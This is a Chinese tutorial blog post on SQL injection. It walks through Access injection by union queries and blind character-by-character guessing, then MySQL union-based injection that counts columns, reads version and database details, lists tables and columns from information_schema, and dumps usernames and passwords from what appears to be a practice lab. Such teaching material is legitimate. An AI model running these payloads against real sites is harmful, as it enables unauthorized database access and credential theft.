web安全之sql注入

SQL注入

access注入

access数据库类型

  • 以.mdb后缀命名
  • 可用office打开

注入基本流程

  • 判断注入
  1. 单引号报错
  2. 逻辑性 and 1=1 and 1=2
  3. 变量做运算 - 减号

常见的注入查询

  • 联合查询法
    • and 1=1 and 1=2 ------判断注入
    • order by 22 ------猜有多少列(猜到7列)
    • union select 1,2,3,4,5,6,7 from admin------猜表名并记录回显位(报错说明表不存在,将admin换成别的继续猜)
    • union select 1,2,username,4,5,6,7 from admin ——猜列名
  • 逐字猜解法
    • and exists (select * from admin)——猜表名
    • and exists (select user_name from admin)——猜列名
    • 查数据:1.确定长度 2.确定asc数据(asc编码)
    • and (select top 1 len(user_name ) from admin)=5 user_name 的长度=5,正常则=5,也可以用>,<号去判断)
    • and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
    • and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位

MySQL注入

sql注入怎么产生

id变量通过get方式获取并且可直接拼接到sql语句中,而id参数用户可控,造成注入

mysql一般注入流程

流程:获取字段数-查库名-查表名-查列名-查数据

  1. 获取字段数

    order by x,通过不断修改x,得到其不报错的上限值

    通过order by 查询多少字段order by 3,假设3为临界值

    SELECT * FROM users WHERE id=1 order by 3
    
  2. 通过union查询数据库名,数据库版本,用户名

    SELECT * FROM users WHERE id=1 union select 1,2,3
    

    可将1,2,3修改为具体的sql函数

    sql函数:

    database():获取数据库名

    version():获取MySQL版本

    user():获取用户名

    union select version(),database(),user()
    

    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: Dumb
    PASSWORD: Dumb
    ----------------------------------------------------------------------------------------------------
    ID : 5.5.53
    USERNAME: security
    PASSWORD: root@localhost

    可以看到,sql的版本为5.5.53,数据库为security,用户为root@localhost

  3. 通过union查询数据库中table名

    得到当前数据库名之后就可查询数据库中所包含的表

    union语句:将不同表的两个列查询的数据去重拼接

    information_schema.tables中记录了所有表名信息

    information_schema.columns 记录列名信息

    TABLE_SCHEMA 数据库字段,表所在的数据库的名字

    table_name 表名 column_name 列名

    SELECT * FROM users WHERE id=1 union select 1,2,table_name FROM information_schema.tables where TABLE_SCHEMA=database()
    

    :由于之前通过order by得到临界值为3,在查找其他内容是需要把所有的字段都占住,因此1,2不能少

    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: Dumb
    PASSWORD: Dumb
    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: 2
    PASSWORD: emails
    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: 2
    PASSWORD: referers
    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: 2
    PASSWORD: uagents
    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: 2
    PASSWORD: users

    可以看到,主要有emails,referers,uagents,users这几个表

  4. 通过union查询表中的列名

    接下来查询users表中有哪些列

    column_name 列名

    union SELECT column_name FROM information_schema.columns where TABLE_name='users'
    

    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: Dumb
    PASSWORD: Dumb
    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: 2
    PASSWORD: id
    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: 2
    PASSWORD: username
    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: 2
    PASSWORD: password

    可以看到有id,usename,password这几列

  5. 通过列名查询数据

    接下来查询列中具体的数据

    union select 列名 from 库名.表名 # 库名不写也行
    
    union select id,username,password from users
    

    ----------------------------------------------------------------------------------------------------
    ID : 1
    USERNAME: Dumb
    PASSWORD: Dumb
    ----------------------------------------------------------------------------------------------------
    ID : 2
    USERNAME: Angelina
    PASSWORD: I-kill-you
    ----------------------------------------------------------------------------------------------------
    ID : 3
    USERNAME: Dummy
    PASSWORD: p@ssword
    ----------------------------------------------------------------------------------------------------
    ID : 4
    USERNAME: secure
    PASSWORD: crappy
    ----------------------------------------------------------------------------------------------------
    ID : 5
    USERNAME: stupid
    PASSWORD: stupidity
    ----------------------------------------------------------------------------------------------------
    ID : 6
    USERNAME: superman
    PASSWORD: genious
    ----------------------------------------------------------------------------------------------------
    ID : 7
    USERNAME: batman
    PASSWORD: mob!le
    ----------------------------------------------------------------------------------------------------
    ID : 8
    USERNAME: admin
    PASSWORD: admin

    这样就可以看到帐号和密码

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值